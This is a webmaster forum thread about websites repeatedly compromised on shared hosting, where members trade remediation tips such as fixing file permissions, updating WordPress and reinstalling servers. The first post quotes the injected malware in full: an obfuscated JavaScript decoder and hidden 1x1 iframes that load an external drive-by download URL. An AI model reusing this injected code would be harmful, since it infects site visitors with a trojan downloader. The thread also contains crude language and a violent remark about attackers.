I keep getting hacked...

[RevSand]

For those in the know who might have some ideas since I have seen this shit on at least a half dozen sites that are all running diff configs and scripts, here is the coding that seems to get attached to parts of the page..

<script language="JavaScript">e = '0x00' + '3D';str1 = "%86%DE%D5%C8%A2%CF%CE%C5%D6%D9%81%9C%C8%D5%CF %D5% DC%D5%D6%D5%CE%C5%84%DA%D5%DE%DE%D9%D0%9C%80%86%D5 %D8%CC%DD%D1%D9%A2%CF%CC%DF%81%9C%DA%CE%CE%D2%84%9 3%93%DF%D6%C8%DF%D0%CE%90%DF%D3%D1%93%CE%CC%D8%93% 9C%A2%CB%D5%DE%CE%DA%81%8D%A2%DA%D9%D5%DB%DA%CE%81 %8D%80%86%93%D5%D8%CC%DD%D1%D9%80%86%93%DE%D5%C8%8 0";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script><iframe src='http://uniqcount.net/adv/066/new.php' width=1 height=1></iframe><iframe src='http://uniqcount.net/adv/new.php?adv=66' width=1 height=1></iframe>

Or some shit similar...

[FelixFlow]

He said he had issues on his page and you clicked the link. He is trying to get it sorted out. If your pc is not protected why click a link when it is typed out that it has issues he is seeking help to fix?

he said his page was getting hacked

he didnt fucking say there is a virus on his page that will spread to other users that visit his page

[LiveDose]

The script kiddies creating this shit should be hunted down and killed.

[cess]

If you don't know how, ask your host to read Apache logs to see what was compromised and how.

Then, change hosts to someone who will actually help you.

Which host would you suggest? I always see people suggesting webair around here.

[RevSand]

Which host would you suggest? I always see people suggesting webair around here.

I think this BS is across the board... I have heard of it on at least 3 diff hosts that all have goof reputations..

[L0rdJuni0r]

these virus things scare me....

[RobV]

The script kiddies creating this shit should be hunted down and killed.

I agree.

[SinSational]

this has happened to a couple customers of ours.

the first issue was that the customer had WordPress installed and was using some 3rd party template or counter which was inserting a javascript trojan downloader in to the page on the fly. once the customer removed the template/counter, the issue went away.

the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.

[RobV]

this has happened to a couple customers of ours.

the first issue was that the customer had WordPress installed and was using some 3rd party template or counter which was inserting a javascript trojan downloader in to the page on the fly. once the customer removed the template/counter, the issue went away.

the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.

I think I will be contacting you shortly. You wouldn't mind another customer would you?

[SinSational]

I think I will be contacting you shortly. You wouldn't mind another customer would you?

of course not.

from what you pasted above for the code, it definitely sounds like wrong permissions on some of your files. for wordpress i believe it should be:

Folders => 755
Files => 644

[woj]

get a decent host, if everything is tight on the server, your sites shouldn't get owned even with security bugs in any scripts you may use....

[Pipeline Q]

bump for this

[darksoul]

the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.

Seriously tho.
It doesn't really matter if that file is 777 (some scripts really need that) most php writes that are not run through cgi.
The problem is with the script that allows an attacker to execute/upload on your server.

[en21]

try what we called antivirus

[justsexxx]

My host is webair. I have asked them 10 times with the responce of, "Its all your fault, nothing is wrong on our end."

Great service

[emthree]

Wow, that's nasty.
I cant believe webair wasent more helpfull.

[Verbal]

I'm having the same problem and have contacted Webair about it twice now. they are 'looking' into it.

[DateDoc]

Where is webair in this thread to try and help out their customer? They seem to manage to make it to every thread that is looking for hosting but not this one?

[darksoul]

he said his page was getting hacked

he didnt fucking say there is a virus on his page that will spread to other users that visit his page

switch to FF

[Hunter_ST]

keep us posted...

[onlineriches]

Not much you can do about it, looks like the virtual hosting box is compromised and this is likely happening to everyones pages on the box.

It probably searches for any web content and adds that into every file.

:/

[The Duck]

I have the same problem with my sites on webair, trojan javascript at the top of the page just pops out of nowhere...

WEBAIR SOLVE.

[darksoul]

oh, this is a virtual server.
That explains it.

[RobV]

I'm having the same problem and have contacted Webair about it twice now. they are 'looking' into it.

Since you got webair to look into it, can you have them look into mine as well. YOu must communicate better than I.

Thank You.

[E$_manager]

Ask your hosting.

[DateDoc]

did u get it fixed?

[SinSational]

did u get it fixed?

yeah, wondering if you got this squared away.

[gooddomains]

redo your complete server setup (including OS install) and the problems will go away.

[teomaxxx]

anyone on webair knows more about it?
i found some of my domains hosted on webair hacked too (only root index.php files although)...not sure if its coming from my computer or it was some hack of webair accounts.

[RobV]

I started a new thread.

[Gillespie]

Whenever a server has been compromised, it is best to start from scratch. Reinstall the OS, reupload everything, import dbs.

The attacker might have left stuff on there that you didn't catch. That's why, in most cases, it happens over and over again.

So my advice is that you format your server, start from scratch and search the web for security information of every single script or software that you plan to put on there.

[Violetta]

this shit sucks... I working on the wordpress chmod now! Also installing the latest version.

[emthree]

this shit sucks... I working on the wordpress chmod now! Also installing the latest version.

I have the latest WPVersion, and still the same shit.

[emthree]

RobV what is the status on your situation?

[JD]

buuuuump just got hit AGAIN today

[RobV]

RobV what is the status on your situation?

Webair changed my password (however my original password was VERY strong). Since the second password change I have not been hacked.
And oddly enough this only hit 1 blog I had on the server, everything else was untouched.

[cosis]

My host is webair. I have asked them 10 times with the responce of, "Its all your fault, nothing is wrong on our end."

same thing happened to me, my host was CANDID HOSTING though, got the same reply from them......... So I said fuck you and switched hosts. Haven't had any problems since.

[Ange]

trojan alert!!!!!!

[Big_Red]

Yeah I am reading about that, the only thing that gets me is I have Norton Internet Security (and virus scanner) and I have the most up to date definitions and its not pulling anything on the sytem (yet I do still think its on my comp) Any ideas?

Secondly I have asked webair for help, honestly about 5 times with the same reply of "nothing we can do, its all on you, make sure your wordpress is uptodate."

yeh, first ditch Norton and get a real Antivirus.